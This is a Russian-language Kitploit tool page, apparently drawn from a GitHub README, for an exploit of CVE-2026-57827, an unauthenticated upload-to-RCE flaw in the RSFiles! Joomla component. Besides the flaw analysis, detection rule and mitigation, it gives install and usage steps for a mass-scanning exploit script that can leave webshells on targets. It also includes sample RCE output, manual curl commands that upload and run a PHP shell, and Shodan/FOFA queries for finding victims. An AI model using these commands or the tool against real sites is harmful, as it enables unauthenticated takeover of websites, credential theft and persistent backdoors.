Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-57827 — CVE-2026-57827 — компонент RSFiles! для Joomla: неаутентифицированная загрузка файлов с удалённым выполнением кода (RCE). Обход загрузки через split-controller. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-57827
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на ПроникновениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — компонент RSFiles! для Joomla: неаутентифицированная загрузка файлов с удалённым выполнением кода (RCE). Обход загрузки через split-controller. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

15251 месяц назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-57827 — компонент RSFiles! для Joomla: RCE через неаутентифицированную загрузку файлов

Обход защиты загрузки через split-контроллер → прямой вызов задачи записи → /downloads/shell.php → RCE


Обзор

CVE-2026-57827 — это уязвимость критической степени серьёзности (CVSS 9.8), позволяющая неаутентифицированную произвольную загрузку файлов в компоненте RSFiles! (com_rsfiles), широко используемом файловом менеджере и компоненте загрузок для Joomla, в версиях < 1.17.12.

Уязвимость эксплуатирует недостаток конструкции split-контроллера: RSFiles! разделяет загрузку на две фронтенд-задачи — предварительную проверку (проверка прав + список разрешённых расширений) и метод записи (сохранение файла на диск). Метод записи можно вызвать напрямую, полностью минуя предварительную проверку. Никакой аутентификации и никакого CSRF-токена не требуется.

Затронутые версии

ВерсияСтатус
< 1.17.12Уязвима
1.17.12+Исправлена

Обнаружил: Phil Taylor, mySites.guru (10 июля 2026 г.) Вендор: RSJoomla (rsjoomla.com) Компонент: com_rsfiles


Механизм уязвимости

Корневая причина

RSFiles! разделяет загрузку на две отдельные фронтенд-задачи в /components/com_rsfiles/controllers/rsfiles.php:

root@kitploit:~
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Почему это работает

  1. Раздельный контроллер — Проверки безопасности и запись файла находятся в двух разных методах. Защищена только предварительная проверка.
  2. Прямой доступ к задаче — Фронтенд-контроллер Joomla позволяет вызывать любую задачу напрямую через &task=rsfiles.upload, полностью пропуская предварительную проверку.
  3. Без аутентификации — Фронтенд-контроллер не содержит проверки доступа. Анонимные посетители могут вызывать задачу записи.
  4. Без CSRF-токена — Фронтенд-форма загрузки не имеет общесайтового CSRF-токена.
  5. Без проверки типа файла — Метод записи берёт имя файла из запроса и передаёт его встроенному обработчику загрузки Joomla (JFile::upload()), который по умолчанию принимает файлы любого типа.
  6. Папка загрузок в корне веб-сервера — Папка загрузок по умолчанию в RSFiles! находится в корне веб-сервера. Защитный .htaccess, который остановил бы выполнение PHP в этой папке, — это подключаемая вручную настройка администратора, по умолчанию отключённая.

Схема атаки

root@kitploit:~
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Проверенные ссылки на исходный код

ФайлНазначение
/components/com_rsfiles/controllers/rsfiles.phpКонтроллер с уязвимыми задачами upload() и checkupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpШаблон фронтенд-формы загрузки (подтверждено: name="file", task=rsfiles.upload)
/downloads/Папка загрузок по умолчанию в корне веб-сервера (защита .htaccess по умолчанию выключена)
/briefcase/Папка briefcase (также доступна для записи)

Обнаружение по журналам сервера (из уведомления об уязвимости RSJoomla)

root@kitploit:~
Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Ключевой недостаток конструкции

Проверки безопасности (проверка прав + список разрешённых расширений) — это отдельный предварительный этап, предшествующий методу, который фактически записывает файл. Проверки содержатся только в первом. Второй — тот, что пишет на диск, — можно вызвать напрямую, сформировав правильный параметр task в URL, минуя все средства безопасности.

Это хрестоматийный пример анти-паттерна «проверки и действия в разных местах»: защита и операция, которую она должна защищать, разъединены, и атакующий может добраться до операции, не проходя через защиту.


Установка

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

Использование

root@kitploit:~
# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Аргументы

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Доказательство концепции

Одиночная цель

root@kitploit:~
$ python cve_2026_57827.py -t joomla-site.com
root@kitploit:~
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Ручная эксплуатация

Шаг 1 — Загрузка шелла

root@kitploit:~
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Шаг 2 — Доступ к шеллу

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id'

Шаг 3 — Выполнение команд

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

Смягчение последствий (если обновление невозможно)

root@kitploit:~
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

Воздействие

Успешная эксплуатация даёт удалённое выполнение кода от имени пользователя веб-сервера:

  • Извлечение configuration.php → учётные данные базы данных, SMTP-секреты
  • Доступ ко всему содержимому Joomla, пользователям и данным расширений
  • Развёртывание постоянных бэкдоров
  • Переход во внутренние сети
  • Дефейс сайта или внедрение вредоносного ПО

Ни на одном этапе не требуется учётная запись на сайте. Анонимно, без аутентификации, удалённо.


Исправление (1.17.12)

RSJoomla устранила уязвимость в версии 1.17.12, добавив:

  • Проверку прав в сам метод записи (а не только в предварительную проверку)
  • Проверку типа файла в метод записи
  • Обязательный CSRF-токен на фронтенд-эндпоинте загрузки
  • Защиту .htaccess в папке загрузок, включённую по умолчанию

Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.

Не используйте против систем без явного разрешения владельца. Авторы не несут ответственности за неправомерное использование.


Ссылки

РесурсСсылка
Запись NVDCVE-2026-57827
Уведомление mySites.gurumysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
Уведомление RSJoomlarsjoomla.com
CWE-434Неограниченная загрузка файла опасного типа
Автор отчётаPhil Taylor, mySites.guru

Не связано с RSJoomla или mySites.guru.

Скачать инструмент